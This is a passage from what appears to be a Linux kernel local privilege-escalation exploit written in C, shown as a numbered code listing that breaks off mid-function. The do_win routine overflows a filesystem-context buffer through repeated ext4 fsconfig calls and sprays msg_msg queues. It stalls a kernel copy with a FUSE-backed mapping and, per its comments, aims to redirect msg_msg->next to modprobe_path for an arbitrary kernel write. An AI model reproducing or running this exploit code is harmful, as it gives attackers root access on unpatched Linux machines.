msg_msg arb write trick by hanging before msgseg on usercopy use FUSE to time the race
| 144 | // msg_msg arb write trick by hanging before msgseg on usercopy |
| 145 | // use FUSE to time the race |
| 146 | void do_win() |
| 147 | { |
| 148 | int size = 0x1000; |
| 149 | char buffer[0x2000] = {0}; |
| 150 | char pat[0x1000] = {0}; |
| 151 | msg* message = (msg*)buffer; |
| 152 | memset(buffer, 0x44, sizeof(buffer)); |
| 153 | // (1) mmap address |
| 154 | void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); |
| 155 | uint64_t race_page = 0x1338000; |
| 156 | msg *rooter = (msg *)(race_page-0x8); |
| 157 | rooter->mtype = 1; |
| 158 | size = 0x1010; |
| 159 | |
| 160 | int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); |
| 161 | send_msg(target, message, size - 0x30, 0); |
| 162 | // (2) prepare to overflow -> size = 4095 = 117*(33+2) |
| 163 | puts("[*] Opening ext4 filesystem"); |
| 164 | strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); |
| 165 | for (int i = 0; i < 0xa; i++) |
| 166 | { |
| 167 | fdv[i] = fsopen("ext4", 0); |
| 168 | if (fdv[i] < 0) |
| 169 | { |
| 170 | puts("Opening"); |
| 171 | exit(-1); |
| 172 | } |
| 173 | for (int j = 0; j < 117; j++) |
| 174 | fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0); |
| 175 | } |
| 176 | /* |
| 177 | fd = fsopen("ext4", 0); |
| 178 | if (fd < 0) |
| 179 | { |
| 180 | puts("Opening"); |
| 181 | exit(-1); |
| 182 | } |
| 183 | puts("[*] Overflowing..."); |
| 184 | strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); |
| 185 | for (int i = 0; i < 117; i++) |
| 186 | { |
| 187 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); |
| 188 | }*/ |
| 189 | // (3) prepare fault hanlers via FUSE at 0x1338000 |
| 190 | puts("[*] Prepaing fault handlers via FUSE"); |
| 191 | int evil_fd = open("evil/evil", O_RDWR); |
| 192 | if (evil_fd < 0) |
| 193 | { |
| 194 | perror("evil fd failed"); |
| 195 | exit(-1); |
| 196 | } |
| 197 | if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000) |
| 198 | { |
| 199 | perror("mmap fail fuse 1"); |
| 200 | exit(-1); |
| 201 | } |
| 202 | // (4) change msg_msg->next = modprobe_path-8 |
| 203 | pthread_t thread; |
no test coverage detected